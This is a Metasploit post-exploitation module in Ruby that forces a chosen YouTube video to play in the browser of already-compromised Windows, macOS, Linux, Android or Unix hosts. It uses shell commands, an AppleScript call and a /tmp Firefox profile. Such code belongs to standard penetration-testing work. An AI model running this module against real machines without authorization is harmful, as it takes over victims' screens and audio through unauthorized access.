1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8

9
  def initialize(info = {})
10
    super(
11
      update_info(
12
        info,
13
        'Name' => 'Multi Manage YouTube Broadcast',
14
        'Description' => %q{
15
          This module will broadcast a YouTube video on specified compromised systems. It will play
16
          the video in the target machine's native browser. The VID datastore option is the "v"
17
          parameter in a YouTube video's URL.
18

19
          Enabling the EMBED option will play the video in full screen mode through a clean interface
20
          but is not compatible with all videos.
21

22
          This module will create a custom profile for Firefox on Linux systems in the /tmp directory.
23
        },
24
        'License' => MSF_LICENSE,
25
        'Author' => [ 'sinn3r' ],
26
        'Platform' => [ 'win', 'osx', 'linux', 'android', 'unix' ],
27
        'SessionTypes' => [ 'shell', 'meterpreter' ],
28
        'Notes' => {
29
          'Stability' => [CRASH_SAFE],
30
          # ARTIFACTS_ON_DISK when the platform is linux
31
          'SideEffects' => [ ARTIFACTS_ON_DISK, AUDIO_EFFECTS, SCREEN_EFFECTS ],
32
          'Reliability' => []
33
        },
34
        'Compat' => {
35
          'Meterpreter' => {
36
            'Commands' => %w[
37
              android_*
38
              stdapi_sys_process_execute
39
            ]
40
          }
41
        }
42
      )
43
    )
44

45
    register_options(
46
      [
47
        OptBool.new('EMBED', [true, 'Use the embed version of the YouTube URL', true]),
48
        OptString.new('VID', [true, 'The video ID to the YouTube video', 'kxopViU98Xo'])
49
      ]
50
    )
51
  end
52

53
  def youtube_url
54
    if datastore['EMBED']
55
      "https://youtube.com/embed/#{datastore['VID']}?autoplay=1&loop=1&disablekb=1&modestbranding=1&iv_load_policy=3&controls=0&showinfo=0&rel=0"
56
    else
57
      "https://youtube.com/watch?v=#{datastore['VID']}"
58
    end
59
  end
60

61
  #
62
  # The OSX version uses an apple script to do this
63
  #
64
  def osx_start_video(_id)
65
    script = ''
66
    script << %(osascript -e 'tell application "Safari" to open location "#{youtube_url}"' )
67
    script << %(-e 'activate application "Safari"' )
68
    script << %(-e 'tell application "System Events" to key code {59, 55, 3}')
69

70
    begin
71
      cmd_exec(script)
72
    rescue EOFError
73
      return false
74
    end
75

76
    true
77
  end
78

79
  #
80
  # The Windows version uses the "embed" player to make sure IE won't download the SWF as an object
81
  #
82
  def win_start_video(_id)
83
    iexplore_path = 'C:\\Program Files\\Internet Explorer\\iexplore.exe'
84
    begin
85
      session.sys.process.execute(iexplore_path, "-k #{youtube_url}")
86
    rescue Rex::Post::Meterpreter::RequestError
87
      return false
88
    end
89

90
    true
91
  end
92

93
  #
94
  # The Linux version uses Firefox
95
  # TODO: Try xdg-open?
96
  #
97
  def linux_start_video(_id)
98
    begin
99
      # Create a profile
100
      profile_name = Rex::Text.rand_text_alpha(8)
101
      display = get_env('DISPLAY') || ':0'
102
      vprint_status("Creating profile #{profile_name} using display #{display}")
103
      cmd_exec(%(firefox --display #{display} -CreateProfile "#{profile_name} /tmp/#{profile_name}"))
104

105
      # Add user-defined settings to profile
106
      s = %|
107
      user_pref("dom.disable_open_during_load", false);
108
      user_pref("browser.shell.checkDefaultBrowser", false);
109
      |
110
      write_file("/tmp/#{profile_name}/prefs.js", s)
111

112
      # Start the video
113
      data_js = %|"data:text/html,<script>window.open('#{youtube_url}','','width:100000px;height:100000px');</script>"|
114
      joe = "firefox --display #{display} -p #{profile_name} #{data_js} &"
115
      cmd_exec("/bin/sh -c #{joe.shellescape}")
116
    rescue EOFError
117
      return false
118
    end
119

120
    true
121
  end
122

123
  #
124
  # The Android version is launched via an Intent
125
  #
126
  def android_start_video(id)
127
    intenturl = "intent://youtube.com/watch?v=#{id}&autoplay=1#Intent;scheme=http;action=android.intent.action.VIEW;end"
128
    begin
129
      session.android.activity_start(intenturl)
130
    rescue Rex::Post::Meterpreter::RequestError
131
      return false
132
    end
133
    true
134
  end
135

136
  # The generic Unix version calls xdg-open(1) or open(1)
137
  def unix_start_video(_id)
138
    cmd_exec("xdg-open '#{youtube_url}' || open '#{youtube_url}'")
139
    true
140
  rescue EOFError
141
    false
142
  end
143

144
  def start_video(id)
145
    case session.platform
146
    when 'osx'
147
      osx_start_video(id)
148
    when 'windows'
149
      win_start_video(id)
150
    when 'linux'
151
      linux_start_video(id)
152
    when 'android'
153
      android_start_video(id)
154
    when 'unix'
155
      unix_start_video(id)
156
    end
157
  end
158

159
  def run
160
    id = datastore['VID']
161

162
    print_status("#{peer} - Spawning video...")
163
    if start_video(id)
164
      print_good("#{peer} - The video has started")
165
    else
166
      print_error("#{peer} - Unable to start the video")
167
      return
168
    end
169
  end
170
end
171

172